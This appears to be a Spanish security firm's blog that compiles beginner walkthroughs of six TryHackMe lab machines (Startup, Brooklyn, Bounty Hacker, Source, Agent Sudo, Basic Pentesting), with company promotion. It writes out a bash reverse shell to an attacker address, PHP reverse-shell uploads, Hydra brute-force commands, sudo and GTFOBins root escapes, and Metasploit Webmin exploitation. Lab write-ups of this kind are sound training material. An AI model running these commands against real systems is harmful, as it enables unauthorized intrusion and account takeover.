¡Bienvenido a este manual de pentesting para principiantes! En este manual, te guiaré a través de los pasos esenciales para realizar un pentesting en la máquina Startup TryHackMe utilizando las siguientes herramientas: nmap, gobuster y wireshark. A lo largo del manual, explicaré el propósito de cada herramienta y los comandos utilizados. ¡Comencemos!
Paso 1: Configuración inicial de Startup TryHackMe
Primeramente, crea un directorio de trabajo para almacenar todos los archivos relacionados con el pentesting. También, agrega la dirección IP de la máquina objetivo al archivo de hosts para facilitar el acceso.
Paso 2: Comprobación de disponibilidad
Antes de comenzar con el pentesting, realiza un ping a la máquina objetivo para verificar que esté activa y lista para ser analizada.
Paso 3: Escaneo inicial de puertos
Realiza un escaneo sencillo de puertos utilizando la herramienta nmap. Ejecuta el siguiente comando:
nmap -p- ipmaquina -oN nmap_startup_inicial
Este comando te mostrará los puertos 21, 22 y 80 que están abiertos en la máquina objetivo. A continuación, explicaré brevemente para qué se utiliza cada uno de estos servicios:
21: FTP (Protocolo de Transferencia de Archivos) – Permite la transferencia de archivos.
22: SSH (Secure Shell) – Proporciona acceso seguro a la máquina a través de una conexión cifrada.
80: HTTP (Protocolo de Transferencia de Hipertexto) – Utilizado para servir páginas web.
Paso 4: Escaneo exhaustivo de puertos
Realiza un escaneo más exhaustivo de los puertos previamente identificados utilizando nmap. Ejecuta el siguiente comando:
Este comando proporcionará información detallada sobre los servicios y las vulnerabilidades potenciales presentes en los puertos identificados. Donde podemos observar que está permitido el acceso anónimo y la carga al directorio ftp.
Paso 5: Evaluación del acceso anónimo al FTP
Observaste que el acceso anónimo al FTP está permitido en la máquina objetivo. Realizaremos una evaluación más detallada descargando un archivo txt y un archivo jpg desde el FTP para su inspección. Utilizaremos el comando «get» para descargar los archivos, pero primero, debemos verificar si hay información interesante dentro de ellos.
Paso 6: Inspección del sitio web con gobuster de Startup TryHackMe
Utilizaremos la herramienta gobuster para inspeccionar el sitio web en busca de directorios ocultos. Ejecuta el siguiente comando:
Este comando buscará y mostrará los directorios y archivos ocultos presentes en el sitio web. Y aquí observamos que el directorio ftp al que podemos subir un archivo lo lista, por lo que podemos subir y ejecutar un php-reverse-shell.
Paso 7: Acceso al FTP y carga de una shell reversa en Startup TryHackMe
Accedemos al FTP para proceder a realizar una PHP Reverse Shell. Creamos un archivo llamado shell.php con el contenido de este enlace, recuerda cambiar la ip y el puerto de escucha. Luego, accedemos nuevamente al FTP y utilizamos el comando «put shell.php» para subir el archivo shell.php al directorio FTP. Verificamos que el archivo se haya cargado correctamente en el directorio.
Paso 8: Ganar acceso utilizando la shell reversa
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 1234
Luego, desde nuestro navegador web, accedemos a http://ipmaquina/files/ftp/archivo.php para establecer el primer acceso utilizando la shell reversa. Aquí es donde obtenemos la primera bandera.
Paso 9: Configuración de un servidor HTTP en la máquina objetivo
Dentro de la máquina, revisando los archivos y carpetas, comprobamos que hay un archivo de wireshark que nos puede dar información. Montamos un servidor HTTP en la máquina objetivo ejecutando el siguiente comando:
python -m http.server
Esto nos permitirá descargar archivos desde la máquina atacante. También podemos copiar el archivo de Wireshark a la carpeta /ftp para descargarlo más tarde.
Paso 10: Descarga e inspección del archivo de Wireshark
Desde nuestra máquina atacante, ejecutamos el siguiente comando:
wget http://ipmaquinaatacada:8000/archivo
Esto descargará el archivo desde el servidor HTTP en la máquina objetivo. Luego, podemos inspeccionar el archivo utilizando Wireshark para analizar el tráfico de red. Podemos encontrar ataques con shell reversas que se encuentran en el puerto 4444. Al analizar los paquetes, encontramos una posible contraseña que podemos probar con el usuario descubierto en la carpeta home.
Paso 11: Acceso por SSH utilizando el usuario «lennie»
Accedemos por SSH a la máquina objetivo utilizando el usuario «lennie». Esto se puede hacer utilizando el comando «ssh usuario@ipmaquina». Navegando por los directorios, encontramos un archivo .sh que si lo inspeccionamos, llama a otro archivo .sh, al revisar los permisos, vemos que podemos editarlo para crear una shell reversa, lo abrimos y en la segunda linea añadimos lo siguiente: bash -i >& dev/tcp/ipvpn/443 0>&1. Guardamos los cambios y ejecutamos el comando «crontab -e» para configurar un cron que se ejecute cada minuto.
Paso 12: Obtención de acceso root
Agregamos la siguiente línea al archivo crontab:
* * * * * /bin/bash /etc/print.sh
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 443
Esperamos a obtener acceso root a través de la shell reversa. Una vez dentro, buscamos la última bandera y consideramos la máquina completamente hackeada.
Resumen Startup TryHackMe
En resumen, hemos realizado un pentesting paso a paso utilizando diversas herramientas. Comenzamos con un escaneo inicial de puertos utilizando nmap y luego realizamos un escaneo más exhaustivo. Evaluamos el acceso anónimo al FTP y luego inspeccionamos el sitio web utilizando gobuster. Ganamos acceso a la máquina objetivo utilizando una shell reversa y analizamos el tráfico de red utilizando Wireshark. Posteriormente, obtuvimos acceso al usuario «lennie» y escalamos privilegios para obtener acceso root.
Confía en DCSeguridad
Si necesitas servicios de pentesting y seguridad informática, te recomendamos contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu negocio y garantizar la integridad de tus sistemas. Únete a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad. ¡Estamos aquí para ayudarte!
En este artículo, te guiaré a través de los pasos fundamentales para realizar un pentesting en la máquina Brooklyn TryHackMe. Este manual está especialmente diseñado para principiantes que se están iniciando en el mundo del pentesting. Aprenderás cómo realizar un escaneo de puertos, enumerar servicios, obtener acceso a un servidor FTP, realizar un ataque de diccionario y escalar privilegios. ¡Comencemos!
Paso 1: Preparación
Antes de empezar, asegúrate de tener un directorio de trabajo en tu máquina local para organizar los archivos relacionados con la máquina objetivo. Puedes crearlo utilizando el siguiente comando:
mkdir directorio_maquina
Además, para facilitar el acceso a la máquina objetivo, añadiremos su dirección IP al archivo hosts de tu sistema operativo. Abre el archivo con privilegios de administrador utilizando el siguiente comando:
sudo nano /etc/hosts
Agrega una nueva línea en el siguiente formato: <ip_maquina> nombre_maquina. Guarda y cierra el archivo.
Paso 2: Verificación de la Conexión
Para verificar la conectividad con la máquina objetivo, realizaremos un ping a su dirección IP. Utiliza el siguiente comando:
ping -c 1 <ip_maquina>
Verifica el TTL en la respuesta del ping, ya que nos proporcionará información sobre el sistema operativo de la máquina.
Paso 3: Escaneo Inicial de Puertos
Realizaremos un escaneo inicial de puertos abiertos en la máquina objetivo utilizando la herramienta Nmap. Ejecuta el siguiente comando:
nmap -p- <ip_maquina> -oN nmap_inicial
Este comando escaneará todos los puertos de la máquina y guardará los resultados en el archivo «nmap_inicial». Observa los puertos abiertos encontrados para continuar con el análisis.
Paso 4: Escaneo Exhaustivo de Puertos
Realizaremos un escaneo más detallado de los puertos encontrados en el paso anterior utilizando Nmap. Ejecuta el siguiente comando:
Este comando escaneará los puertos 21, 22 y 80 utilizando distintas técnicas de escaneo y enumeración de servicios. Los resultados se guardarán en el archivo «nmap_completo». Observa los servicios identificados en los puertos para obtener más información sobre ellos.
Paso 5: Acceso al Servidor FTP de Brooklyn TryHackMe
Accederemos al servidor FTP en la máquina objetivo utilizando el usuario anónimo y descargaremos un archivo a tu directorio de trabajo. Sigue estos pasos:
Conéctate al servidor FTP utilizando el siguiente comando:
ftp <ip_maquina>
Ingresa «anonymous» como nombre de usuario y presiona Enter (sin contraseña).
Navega hasta el directorio donde se encuentra el archivo que deseas descargar.
Utiliza el comando get archivo.txt para descargar el archivo al directorio local de tu máquina.
Cierra la conexión FTP.
Paso 6: Ataque de Diccionario en el Servicio SSH
Analizaremos el contenido del archivo descargado en el paso anterior para obtener un posible nombre de usuario. Luego, realizaremos un ataque de diccionario en el servicio SSH utilizando la herramienta Hydra. Sigue estos pasos:
Abre el archivo descargado utilizando el siguiente comando:
cat archivo.txt
Examina el contenido del archivo para encontrar un posible nombre de usuario (por ejemplo, «jake»).
Ejecuta un ataque de diccionario utilizando Hydra. Utiliza el siguiente comando como ejemplo, pero asegúrate de reemplazar <ruta_diccionario> con la ubicación real del diccionario en tu máquina:
Copia el archivo /etc/passwd a tu directorio de trabajo con el siguiente comando:
cp /etc/passwd privilege_escalation.txt
Ejecuta el comando «less» con privilegios de sudo y carga el archivo /etc/passwd con el siguiente comando:
sudo less privilege_escalation.txt
Dentro de «less», ingresa !/bin/sh y presiona Enter. Esto ejecutará una shell interactiva con privilegios de root.
Una vez que obtengas acceso de root, podrás buscar la segunda bandera y realizar cualquier otra actividad necesaria.
Resumen Brooklyn TryHackMe
En este manual, hemos realizado los siguientes pasos de pentesting en la máquina Brooklyn de TryHackMe:
Preparación del entorno, creando un directorio de trabajo y configurando el archivo hosts.
Verificación de la conectividad con la máquina objetivo a través de un ping.
Escaneo inicial de puertos utilizando Nmap.
Escaneo exhaustivo de puertos utilizando Nmap y obtención de información sobre los servicios.
Acceso al servidor FTP y descarga de un archivo.
Análisis del archivo descargado y realización de un ataque de diccionario en el servicio SSH utilizando Hydra.
Escalada de privilegios utilizando el exploit «sudo-less» para el comando «less».
Hemos tenido éxito en nuestro objetivo de realizar un pentesting básico en la máquina Brooklyn de TryHackMe. A través de estos pasos, hemos adquirido conocimientos sobre escaneo de puertos, enumeración de servicios, acceso a servicios y escalada de privilegios.
¡Contáctanos y Únete a Nuestro Canal de Telegram!
Si deseas más información sobre nuestros servicios de seguridad informática o tienes preguntas adicionales, te invitamos a contactar a DCSeguridad. Puedes visitar nuestro sitio web para obtener más detalles y unirte a nuestro canal de Telegram. Estaremos encantados de ayudarte y proporcionarte soporte en tus proyectos de seguridad.
Recuerda que el pentesting debe llevarse a cabo de manera ética y con el permiso del propietario del sistema objetivo.
Hoy os traemos la resolucion de la máquina Bounty Hacker TryHackMe (https://tryhackme.com/room/cowboyhacker) paso a paso, hemos eliminado contraseñas y banderas.
Antes de comenzar con la configuración de la máquina, es altamente recomendable realizar una actualización completa del sistema operativo Linux. Esto se puede lograr ejecutando el siguiente comando en la terminal:
apt update && apt upgrade
Este comando actualizará todas las herramientas y paquetes del sistema a su versión más reciente, lo que garantiza que estemos utilizando las versiones más seguras y actualizadas.
Paso 1: Crear un directorio de trabajo para Bounty Hacker TryHackMe
Después de completar la actualización, procedemos a crear un directorio de trabajo para nuestra máquina. Esto nos ayudará a mantener los archivos y herramientas organizados durante el proceso de análisis y exploración. Puede utilizar el siguiente comando para crear un directorio:
mkdir directorio_trabajo
Paso 2: Verificar la disponibilidad de la máquina objetivo
Es importante verificar si la máquina objetivo está en línea y disponible antes de continuar. Podemos hacer esto usando el comando ping y especificando la dirección IP de la máquina:
ping -c 1 <ipmaquina>
Si recibimos una respuesta exitosa, significa que la máquina está levantada y lista para ser analizada.
Paso 3: Escaneo inicial con Nmap de Bounty Hacker TryHackMe
A continuación, realizaremos un escaneo inicial de la máquina utilizando la herramienta Nmap. Esto nos permitirá identificar los puertos abiertos y obtener información sobre los servicios que se están ejecutando en la máquina. El comando para realizar el escaneo con Nmap es el siguiente:
nmap -A <ipmaquina> -oN nmap_bounty_inicial
Una vez completado el escaneo, revisaremos los resultados para identificar los puertos abiertos. En este caso, se encontraron los puertos 21, 22 y 80 abiertos en la máquina objetivo.
Paso 4: Acceso al FTP y descarga de archivos
Como se detectó que el servicio FTP permite el acceso anónimo, procederemos a acceder a la máquina y descargar los archivos que se encuentren disponibles. Esto se logra utilizando un cliente FTP y proporcionando la dirección IP de la máquina. Una vez conectado, podemos utilizar los comandos ls para enumerar los archivos y get para descargarlos.
Paso 5: Ataque de fuerza bruta utilizando Hydra
Al examinar los archivos descargados, se identifica que uno de ellos parece ser una lista de contraseñas. Aprovecharemos esta información para realizar un ataque de fuerza bruta utilizando la herramienta Hydra y el diccionario de contraseñas encontrado.
El siguiente comando muestra cómo utilizar Hydra para realizar un ataque de fuerza bruta contra el servicio SSH en la máquina objetivo:
hydra -l usuario -P locks.txt <ipmaquina> ssh
Este comando intentará iniciar sesión en el servicio SSH utilizando el nombre de usuario «usuario» y las contraseñas del archivo «locks.txt». Si se encuentra una coincidencia exitosa, Hydra mostrará la contraseña y podremos acceder al sistema SSH de la máquina.
Paso 6: Acceso por SSH
Una vez obtenida la contraseña, podemos iniciar sesión por SSH en la máquina objetivo utilizando el siguiente comando:
ssh usuario@<ipmaquina>
Reemplaza `<ipmaquina>` con la dirección IP real de la máquina objetivo y proporciona la contraseña obtenida previamente.
Paso 7: Exploración de escalada de privilegios
Después de acceder al sistema, nuestro objetivo será encontrar las banderas que se encuentren ocultas en la máquina. Una vez que se obtenga la primera bandera, es importante evaluar las posibilidades de escalada de privilegios en el sistema.
Para determinar si hay alguna posibilidad de escalada de privilegios, ejecutaremos el siguiente comando:
sudo -l
Este comando mostrará los privilegios y comandos disponibles para el usuario actual. Si se encuentra alguna configuración especial o se identifica una posible vulnerabilidad, se debe investigar más para explorar dicha escalada de privilegios.
Paso 8: Escalada de privilegios utilizando GTFOBins
En este caso, al ejecutar sudo -l, se observa que se permite ejecutar el comando /bin/tar con privilegios de root. Esto nos da una oportunidad para obtener acceso como superusuario utilizando una técnica conocida como «GTFOBins». Puedes encontrar más información sobre esta técnica en el enlace: https://gtfobins.github.io/gtfobins/tar/#sudo
A continuación, ejecutaremos el siguiente comando para aprovechar la escalada de privilegios utilizando tar:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Este comando creará un archivo de respaldo en /dev/null mientras ejecuta un shell (/bin/sh) con privilegios de root. Al ejecutar este comando, nos convertiremos en superusuario (root).
Paso 9: Búsqueda y obtención de banderas en Bounty Hacker TryHackMe
Una vez que tenemos privilegios de root, podemos buscar y obtener la siguiente bandera en la máquina comprometida.
Recuerda siempre actuar de acuerdo a las leyes y ética aplicables durante cualquier actividad de ciberseguridad y asegúrate de tener la autorización adecuada para realizar cualquier prueba en un sistema.
Confía en DCSeguridad
Si deseas obtener más información sobre ciberseguridad o necesitas asesoramiento profesional para proteger tus sistemas, te invitamos a contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en ciberseguridad está listo para ayudarte en cualquier desafío que enfrentes. También puedes unirte a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad.
¡Protege tu negocio y mantén tus sistemas seguros!
Manual de Pentesting para Principiantes Utilizando la Máquina Source TryHackMe. Máquina para empezar en el pentesting y en el uso de herramientas como nmap y metasploit
Parte 1: Preparación
Antes de comenzar con el pentesting en la máquina Source, es importante realizar algunas configuraciones iniciales.
Paso 1: Crear directorio de trabajo y editar el archivo de hosts Source TryHackMe
Descripción: Para organizar el proyecto, crearemos un directorio de trabajo y editaremos el archivo de hosts para asociar la dirección IP de la máquina objetivo con un nombre de dominio.
Comandos:
Crear directorio de trabajo: Abre una terminal y ejecuta el siguiente comando: mkdir directorio_trabajo
Editar archivo hosts: Ejecuta nano /etc/hosts para abrir el archivo hosts en el editor de texto.
Agregar la siguiente línea al archivo hosts: <ip_maquina> nombredominio (reemplaza <ip_maquina> con la dirección IP de la máquina objetivo y «nombredominio» con el nombre que desees asignar).
Parte 2: Escaneo y Reconocimiento de Source TryHackMe
El escaneo y reconocimiento son pasos fundamentales en un pentesting. Nos permiten obtener información sobre la máquina objetivo y los servicios que están en ejecución.
Paso 2: Realizar ping a la máquina y descubrir el TTL
Descripción: Realiza un ping a la dirección IP de la máquina objetivo para verificar que está en línea y obtener información como el TTL (Time To Live).
Comando: Abre una terminal y ejecuta el siguiente comando: ping -c 1 <ip_maquina>
TTL: El TTL obtenido en la respuesta del ping puede ayudarnos a identificar el sistema operativo de la máquina objetivo. Un TTL de 63 generalmente indica un sistema operativo Linux.
Paso 3: Hacer un primer escaneo con nmap en Source TryHackMe
Descripción: Realiza un escaneo de puertos básico utilizando nmap para identificar los servicios asociados a los puertos abiertos.
Comando: En la terminal, ejecuta: nmap -sVC -oN nmap_source <ip_maquina>
Servicios encontrados:
Puerto 22: El servicio asociado al puerto 22 es SSH (Secure Shell), que proporciona un acceso remoto seguro a la máquina.
Puerto 10000: Es posible que este puerto esté asociado a Webmin, un panel de administración web para sistemas Unix.
Parte 3: Escaneo Completo y Detección de Vulnerabilidades en Source TryHackMe
El siguiente paso es realizar un escaneo completo de puertos en la máquina objetivo y utilizar herramientas para detectar vulnerabilidades.
Paso 4: Escaneo completo de la máquina con nmap
Descripción: Realiza un escaneo completo de puertos en la máquina objetivo, identificando los servicios y versiones asociados a cada puerto. También utiliza scripts de detección de vulnerabilidades.
Comando: Ejecuta en la terminal: nmap -p 22,10000 -sCVS --min-rate 5000 -v -n -Pn <ip_maquina> -oN nmap_source_completo
Desglose de los comandos:
-p 22,10000: Escanea únicamente los puertos 22 y 10000.
-sCVS: Realiza un escaneo de versiones y scripts de detección de vulnerabilidades.
--min-rate 5000: Establece una tasa mínima de envío de paquetes para acelerar el escaneo.
-v: Activa el modo verboso para obtener más información detallada.
-n: Desactiva la resolución de nombres DNS.
-Pn: Ignora el descubrimiento de host y trata todas las direcciones como en línea.
-oN nmap_source_completo: Guarda los resultados en un archivo llamado «nmap_source_completo».
Paso 5: Búsqueda de exploits para versiones vulnerables
Descripción: Busca exploits disponibles en Metasploit para las versiones específicas de OpenSSH (7.6p1) y Webmin (1.920).
Comandos en Metasploit:
Ejecuta msfconsole en la terminal para iniciar Metasploit.
Utiliza search webmin 1.920 para buscar exploits relacionados con Webmin 1.920.
Selecciona el exploit específico que deseas utilizar con el comando use X.
Utiliza options para ver y configurar las opciones del exploit seleccionado.
Establece la dirección IP de la máquina objetivo como objetivo del exploit con el comando set RHOSTS <ip_maquina>.
Establece la dirección IP de la interfaz «tun0» o la dirección IP de tu VPN como dirección de origen del exploit con el comando set LHOST tun0.
Habilita el uso de SSL en la comunicación con set SSL yes.
Ejecuta el exploit con el comando run y realiza el intento de explotación.
Parte 4: Mejora de la Shell y Exploración
Después de obtener acceso a la máquina objetivo, podemos mejorar la shell y explorar los directorios y archivos relevantes en busca de banderas o evidencias.
Paso 6: Mejora de la shell con Meterpreter
Descripción: Mejora la shell obtenida mediante el exploit utilizando Meterpreter para obtener capacidades avanzadas.
Comandos en Metasploit:
Presiona Ctrl + Z para poner en pausa Metasploit y acceder al shell.
Utiliza search shell_to_meterpreter para buscar una carga útil compatible con la mejora de shell a Meterpreter.
Selecciona la carga útil específica que deseas utilizar con el comando use 0.
Establece la sesión en la que se encuentra la shell para la mejora a Meterpreter con set SESSION 1.
Ejecuta la carga útil y realiza la mejora de shell con el comando run.
Para acceder a Meterpreter, utiliza el comando sessions 2.
Paso 7: Exploración y búsqueda de banderas
Descripción: Una vez obtenido el acceso a la máquina, explora los directorios y archivos relevantes para encontrar las banderas o evidencias requeridas.
¡Enhorabuena! Has realizado los pasos necesarios para escanear, identificar vulnerabilidades y obtener acceso a la máquina objetivo. Recuerda que este manual es con fines educativos y solo debe ser utilizado en sistemas y redes donde tengas autorización para realizar pruebas de penetración.
Resumen y Tipo de Máquina de Source TryHackMe
En este manual, hemos cubierto los pasos esenciales para realizar un pentesting en la máquina Source. Comenzamos preparando nuestro entorno de trabajo y editando el archivo de hosts para asociar la dirección IP de la máquina objetivo con un nombre de dominio.
Luego, realizamos un escaneo inicial utilizando nmap para identificar los servicios asociados a los puertos abiertos. Continuamos con un escaneo completo de la máquina objetivo, utilizando nmap para obtener información detallada sobre los servicios y versiones.
A continuación, exploramos la búsqueda de exploits para versiones vulnerables en Metasploit y utilizamos diferentes comandos para configurar y ejecutar un exploit específico.
Una vez obtenido el acceso a la máquina, mejoramos nuestra shell utilizando Meterpreter para obtener capacidades avanzadas y exploramos los directorios y archivos relevantes en busca de banderas o evidencias.
En resumen, hemos seguido una metodología de pentesting que abarca desde el escaneo y reconocimiento inicial hasta la explotación y la exploración de la máquina objetivo.
Confía en DCSeguridad
Si estás interesado en fortalecer la seguridad de tu empresa y proteger tu red contra posibles vulnerabilidades, te invitamos a contactar a DCSeguridad. Somos expertos en ciberseguridad y podemos ayudarte a evaluar y mejorar la seguridad de tu infraestructura. También te invitamos a unirte a nuestro canal de Telegram, donde compartimos información relevante sobre seguridad y te mantendremos al tanto de las últimas noticias y tendencias en el campo de la ciberseguridad.
¡No esperes más para proteger tu empresa! Contáctanos y fortalece tu seguridad hoy mismo.
En este manual, te guiaré a través de los pasos básicos del pentesting utilizando la máquina TryHackMe Agent Sudo. A lo largo del proceso, te explicaré el propósito de cada herramienta utilizada y describiré el significado de cada flag o opción utilizada en los comandos. Sigue las instrucciones cuidadosamente para obtener resultados exitosos.
Paso 1: Escaneo de Puertos
Para comenzar, creamos un directorio con el nombre de la máquina y agregamos la dirección IP al archivo de hosts:
En este caso, encontramos que los puertos 21, 22 y 80 están abiertos.
Paso 2: Inspección de la Web
Ahora procederemos a inspeccionar la página web. Utilizaremos Burp Suite para descifrar el nombre de usuario. Sigue estos pasos:
Abre Burp Suite y cambia el User-Agent:XXXXXX a User-Agent:C, dale boton derecho y le damos send to repeater, vamos a la pestaña Repeater y damos a Follow Redirection
Veras la parte derecha el nuevo texto.
Identifica un nombre de usuario y una indicación de que su contraseña es débil.
Paso 3: Obtención de Contraseña de Usuario
Usaremos Hydra para obtener la contraseña del usuario encontrado. Ejecuta el siguiente comando:
hydra -l chris -P /ruta/diccionario.txt ipmaquina ftp
Este comando intentará encontrar la contraseña del usuario «chris» utilizando un diccionario de contraseñas.
Paso 4: Descarga de Archivos del FTP
Ahora, descargaremos todos los archivos del servidor FTP a nuestra máquina local utilizando el comando «get» de FTP. Ejecuta lo siguiente:
ftp ipmaquina
get *
Esto descargará todos los archivos presentes en el servidor FTP.
Paso 5: Inspección de Archivos Descargados
Según la información recibida, hay un archivo zip protegido con contraseña entre los archivos descargados. Realizaremos las siguientes acciones:
Utilizaremos «binwalk» para analizar el archivo «cutie.png» y extraer su contenido:
binwalk cutie.png -e --run-as=root
Usaremos «john» para descifrar la contraseña del archivo .zip utilizando un diccionario de contraseñas:
zip2john 8702.zip > hash.txt
john --wordlist=/ruta/diccionario.txt hash.txt
Extraemos el archivo .zip utilizando el comando «7z»:
7z x 8702.zip
Paso 6: Decodificación de Contenido
Una vez extraído el archivo .zip, encontramos un archivo de texto con parte del contenido codificado en base64. Utilizaremos el siguiente comando para decodificarlo:
cat 'texto' | base64 -d; echo
Esto nos proporcionará otra contraseña.
Paso 7: Descompresión de Otra Imagen
Ahora, utilizaremos la herramienta «steghide» para extraer el contenido de otra imagen. Ejecuta el siguiente comando:
steghide extract -sf cutie-alien.jpg
Luego, lee el archivo resultante y encontrarás una nueva contraseña.
Paso 8: Acceso SSH y Escalamiento de Privilegios
Utilizando las credenciales obtenidas, podemos acceder a la máquina a través de SSH con el nuevo usuario y contraseña. Captura la bandera y luego, en otro terminal, descarga la imagen utilizando «scp»:
Realiza una búsqueda de la imagen en Google utilizando la función de búsqueda de imágenes inversa y busca en la página de Fox News.
Dentro de SSH, ejecuta el siguiente comando para verificar los permisos del usuario:
sudo -l
Encuentra una vulnerabilidad en (ALL, !root) /bin/bash. Investiga en línea para encontrar una posible explotación.
Encuentra un script en https://github.com/n0w4n/CVE-2019-14287 y crea un archivo llamado «sudo.sh» en el servidor con su contenido. Luego, ejecuta el script con el siguiente comando:
bash sudo.sh
Con esto, obtendrás acceso de root y podrás buscar la última bandera. ¡Máquina hackeada!
También tenemos otra forma de escalar privilegios que es mediante la ejecución del comando sudo -u#-1 /bin/bash yo esta forma la realice a posteriori, ya que en vez de poner este comando puse sudo -u#1 /bin/bash y me llevaba al usuario daemon.
Resumen:
En este manual, hemos llevado a cabo una prueba de penetración en la máquina TryHackMe Agent Sudo. A través de la inspección de la web, obtuvimos un nombre de usuario y una contraseña débil. Descargamos archivos del servidor FTP y encontramos un archivo .zip protegido con contraseña. Utilizando diversas herramientas, desciframos la contraseña del .zip, extrajimos su contenido y descubrimos otra contraseña. A través de SSH, accedimos a la máquina con nuevas credenciales y finalmente escalamos privilegios utilizando una vulnerabilidad en sudo. Como resultado, logramos obtener acceso de root y completamos la prueba de penetración.
¡No dudes en ponerte en contacto con DCSeguridad para obtener más información sobre seguridad y unirte a nuestro canal de Telegram!
En este manual de pentesting, aprenderás los pasos necesarios para resolver la máquina Basic Pentesting Try Hack Me. A través de este proceso, exploraremos cómo escanear puertos abiertos, enumerar directorios y usuarios, realizar ataques de fuerza bruta y obtener acceso a la máquina objetivo con privilegios adicionales mediante la búsqueda y descifrado de claves y contraseñas.
Parte 1: Preparación y escaneo de puertos
Crea una carpeta en el escritorio con el nombre de la máquina para organizar los archivos necesarios. Esta recomendación es para mantener ordenado y tener fácil acceso a los archivos utilizados durante el pentesting.
Realiza un escaneo de puertos utilizando nmap con el siguiente comando:
-sC ejecuta scripts de enumeración y detección de servicios.
-sV detecta las versiones de los servicios.
-sS realiza un escaneo TCP SYN.
--min-rate 5000 establece la tasa mínima de paquetes enviados.
-vvv muestra una salida detallada.
-n no realiza resolución DNS.
-Pn ignora el descubrimiento de hosts y trata todas las direcciones IP como en línea.
ipmaquina es la dirección IP de la máquina a escanear.
-oN nmap_basic_pentesting guarda la salida en un archivo llamado «nmap_basic_pentesting».
El resultado del escaneo muestra los puertos abiertos y los servicios detectados.
Parte 2: Enumeración de directorios y usuarios
Utiliza la herramienta Dirb para enumerar los directorios visibles en el servidor web:
dirb http://ipmaquina:80
Este comando realiza un escaneo de directorios y muestra los directorios encontrados.
Para encontrar usuarios, aprovechando que SMB está disponible, ejecuta el siguiente comando:
enum4linux -a ipmaquina
enum4linux - smb es una herramienta que enumera información de SMB en una máquina.
-a muestra información adicional.
ipmaquina es la dirección IP de la máquina a enumerar.
Realiza un ataque de fuerza bruta a través de SSH para descubrir la contraseña del usuario «jan»:
hydra -l jan -P /ruta/diccionario.txt ipmaquina ssh
hydra es una herramienta de fuerza bruta que intenta adivinar contraseñas.
-l jan especifica el usuario objetivo.
-P /ruta/diccionario.txt indica la ruta del diccionario de contraseñas a utilizar.
ipmaquina es la dirección IP de la máquina objetivo.
Parte 3: Acceso a la máquina y escalada de privilegios
Accede a la máquina mediante SSH utilizando el usuario «jan» y la contraseña descubierta:
ssh jan@ipmaquina
Enumera los directorios en la máquina para buscar información adicional:
ls -l
Encuentra el archivo «pass.bak» en el directorio de «kay», pero no tienes acceso a él en este momento.
Para obtener acceso a la máquina como el usuario «kay», realiza los siguientes pasos: a. Navega al directorio «.ssh»: cd .ssh b. Muestra el contenido del archivo «id_rsa»: cat id_rsa
Este archivo contiene la clave privada de «kay» que utilizaremos más adelante.
c. Copia la clave privada y pégala en un archivo en tu directorio de trabajo local llamado «rsa_kay.txt».
Utiliza la herramienta John the Ripper para desencriptar la clave privada de «kay»: a. Convierte el formato del archivo «rsa_kay.txt» utilizando el script «ssh2john.py»: python3 /usr/share/john/ssh2john.py rsa_kay.txt > rsa_kay_desencriptado.txt b. Ejecuta John the Ripper con el siguiente comando: john --wordlist=rockyou.txt rsa_kay_desencriptado.txt
Accede nuevamente por SSH al usuario «kay» utilizando la clave privada desencriptada: ssh -i /home/kay/.ssh/id_rsa [email protected]
Ahora tienes acceso al usuario «kay». Encuentra la última bandera disponible en el archivo «pass.bak».
En resumen, este manual de pentesting cubre los pasos necesarios para escanear los puertos abiertos, enumerar directorios y usuarios, realizar ataques de fuerza bruta, acceder a la máquina con los usuarios descubiertos y obtener privilegios adicionales mediante el descubrimiento de claves y contraseñas. Cada comando utilizado desempeña un papel específico en el proceso de pentesting, desde la recopilación de información hasta la escalada de privilegios.
¡Únete a DCSeguridad y protege el mundo digital!
DCSeguridad es una empresa líder en el campo de la ciberseguridad, dedicada a proteger los sistemas y datos de sus clientes contra las amenazas cada vez más sofisticadas en el mundo digital. Si estás interesado en formar parte de este apasionante mundo de la ciberseguridad y contribuir a la protección de la información confidencial, ¡te invitamos a unirte a nosotros!
Nuestro equipo de expertos en seguridad informática está comprometido en brindar soluciones efectivas y personalizadas a nuestros clientes, garantizando la confidencialidad, integridad y disponibilidad de sus datos. Trabajamos estrechamente con organizaciones de diferentes sectores, desde pequeñas empresas hasta grandes corporaciones, ofreciendo servicios de auditoría, consultoría y respuesta a incidentes, entre otros.
¿Quieres estar al tanto de las últimas noticias y tendencias en ciberseguridad? ¡No busques más! Te invitamos a unirte a nuestro canal de Telegram, donde compartimos contenido exclusivo, consejos de seguridad, noticias relevantes y oportunidades de empleo en el campo de la ciberseguridad. Nuestro canal es una comunidad activa donde podrás interactuar con otros profesionales y entusiastas de la ciberseguridad, aprender de sus experiencias y compartir tus conocimientos.
¡No te pierdas la oportunidad de formar parte de nuestra comunidad en Telegram! Juntos, podemos hacer del mundo digital un lugar más seguro. ¡Te esperamos en DCSeguridad!
Para ofrecer las mejores experiencias, utilizamos tecnologías como las cookies para almacenar y/o acceder a la información del dispositivo. El consentimiento de estas tecnologías nos permitirá procesar datos como el comportamiento de navegación o las identificaciones únicas en este sitio. No consentir o retirar el consentimiento, puede afectar negativamente a ciertas características y funciones.
Funcional
Siempre activo
El almacenamiento o acceso técnico es estrictamente necesario para el propósito legítimo de permitir el uso de un servicio específico explícitamente solicitado por el abonado o usuario, o con el único propósito de llevar a cabo la transmisión de una comunicación a través de una red de comunicaciones electrónicas.
Preferencias
El almacenamiento o acceso técnico es necesario para la finalidad legítima de almacenar preferencias no solicitadas por el abonado o usuario.
Estadísticas
El almacenamiento o acceso técnico que es utilizado exclusivamente con fines estadísticos.El almacenamiento o acceso técnico que se utiliza exclusivamente con fines estadísticos anónimos. Sin un requerimiento, el cumplimiento voluntario por parte de tu proveedor de servicios de Internet, o los registros adicionales de un tercero, la información almacenada o recuperada sólo para este propósito no se puede utilizar para identificarte.
Marketing
El almacenamiento o acceso técnico es necesario para crear perfiles de usuario para enviar publicidad, o para rastrear al usuario en una web o en varias web con fines de marketing similares.